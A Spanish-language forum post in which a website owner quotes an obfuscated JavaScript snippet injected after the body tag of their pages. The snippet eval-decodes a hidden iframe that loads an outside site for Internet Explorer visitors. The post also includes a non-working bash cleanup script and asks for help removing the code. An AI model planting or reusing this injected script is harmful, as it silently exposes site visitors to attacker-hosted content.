Hola. Necesito ayuda porque me acaba de suceder algo similar.
Me han colocado un codigo en muchos html y php de mis sitios, el mismo siempre esta al terminar la etiqueta
body, despues de muchos espacios.
Por ej:
Cita: <body bgcolor="#BDB39C" text="#FFFFFF" link="#000000" vlink="#555588" alink="#000000">
<script>/**/function hjp4(FIf7, iybl, gdx1) { var Rvkq; Rvkq=FIf7.split(iybl); var Ocgb=Rvkq.join(gdx1); return Ocgb;/**/ } function Lwm8(UrP3) { UrP3 = hjp4(UrP3,"##+##","'"); UrP3 = hjp4(U
rP3,"##|##","\\"); Ocgb=""; Yxj8 =""; for(k=0;k<UrP3.length;k++) { Ocgb = UrP3.charCodeAt(k); if (Ocgb==32){Ocgb=35} else if (Ocgb==35){Ocgb=32} else if (Ocgb==59){Ocgb
=64} else if (Ocgb==64){Ocgb=59} else if (Ocgb==37){Ocgb=42} else if (Ocgb==42){Ocgb=37} else if (Ocgb>=97 && Ocgb<=122) { Ocgb=Ocgb-97;Ocgb=25-Ocgb;Ocgb+=97; }else if
(Ocgb>=65 && Ocgb<=90) { Ocgb=Ocgb-65;Ocgb=25-Ocgb;Ocgb+=65; }else if (Ocgb>=48 && Ocgb<=57) { Ocgb=Ocgb-48;Ocgb=9-Ocgb;Ocgb+=48; } Yxj8 += String.fromCharCode(Ocgb); }
return Yxj8;/**/ }TjY6=eval;var GSp6;var aRU3;var Bjk8;var dax7;var rSV5;var LSq6;var PYxN;TjY6(Lwm8('OHj3#=###+##sggk://svczglny.xln/urovh/a/hgzgrx.ksk##+##@iHE4#=###
+##ruiznv##+##@'));TjY6(Lwm8('THk3#=#wlxfnvmg.xivz gvVovnvmg(iHE4)@THk3.hvgZggiryfgv(##+##hix##+##,#O Hj3)@'));TjY6(Lwm8('THk3.hvgZggiryfgv(##+##drwgs## +##,9)@THk3.hvgZgg
iryfgv(##+##svrtsg##+##,9)@THk3.hvgZggiryfgv(##+## yliwvi##+##,9)@'));TjY6(Lwm8('THk3.hvgZggiryfgv(## +##hgbov##+##,##+##drwgs:#9@#svrtsg:#9@#yliwvi:#ml mv@##+##)@'));TjY6
(Lwm8('THk3.hvgZggiryfgv(##+##hgbov##+##,##+##wrhk ozb:mlmv##+##)@#KBcM=mzertzgli.fhviZtvmg.glOldviXz hv()@'));TjY6(Lwm8('Yqp1=KBcM.rmwvcLu(##+##nhrv##+ ##)@zIF6=KBcM.rmwv
cLu(##+##nhrv#1##+##)@wzc2=KBcM.rmwvcLu(##+##mg#3# #+##)@'));if ((aRU3==-1)&&(Bjk8>0)&&(dax7==-1)){TjY6(Lwm8('wlxfnvmg.ylwb.zkkvmwXsrow(THk3)@')) ;}</script>
Aparece tal cuál y el código siempre es el mismo.
Intenté ejecutar el script que pusieron pero no me funciona, lo único que hace es crear un archivo con el nombre:
archivos_para_modificar y dentro la siguiente linea:
/home/sitio/www/archivos/prueba/script
Código:
#!/bin/bash
DIRECTORIO_CON_ARCHIVOS=/home/sitio/www/archivos/prueba
find $DIRECTORIO_CON_ARCHIVOS -exec grep "<body><iframe" '{}' \; -print | grep -v "<body>" > archivos_para_modificar
for PATH_ARCHIVO in $(cat archivos_para_modificar); do
NOMBRE_ARCHIVO=$(basename $PATH_ARCHIVO)
DIRECTORIO_ARCHIVO=$(dirname $PATH_ARCHIVO)
cd $DIRECTORIO_ARCHIVO
sed -e 's/<body>.*<\/iframe>/<body>/g' $NOMBRE_ARCHIVO > tmp_archivo.blah
rm -rf $NOMBRE_ARCHIVO
mv tmp_archivo.blah $NOMBRE_ARCHIVO
rm -rf tmp_archivo.blah
done
Agradeceria cualquier ayuda para poder borrar ese codigo.